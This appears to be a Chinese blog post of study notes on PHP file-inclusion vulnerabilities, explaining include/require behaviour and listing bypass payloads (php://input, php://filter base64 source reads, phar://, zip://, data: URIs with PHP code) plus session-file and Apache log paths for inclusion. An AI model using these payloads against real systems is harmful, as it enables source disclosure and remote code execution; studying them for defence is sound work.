PHP文件包含

相关函数

php中引发文件包含漏洞的通常是以下四个函数:
include()
include_once()
require()
require_once()

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。
include() 如果出错的话,只会提出警告,会继续执行后续语句。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

文件包含的各种绕过

php://input

?file=php://input

php://filter

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=index.php

phar://

绝对路径
?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

相对路径
?file=phar://test.zip/phpinfo.txt

zip://

读取zip内文件
?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

data:URI schema

?file=data:text/plain,<?php phpinfo();?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8

包含session

常见的php-session存放位置:
– /var/lib/php/sess_PHPSESSID
– /var/lib/php/sess_PHPSESSID
– /tmp/sess_PHPSESSID
– /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[PHPSESSID],PHPSESSID在cookie里

包含日志

访问日志

/var/log/apache2/access.log
/var/log/apache2/error.log
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇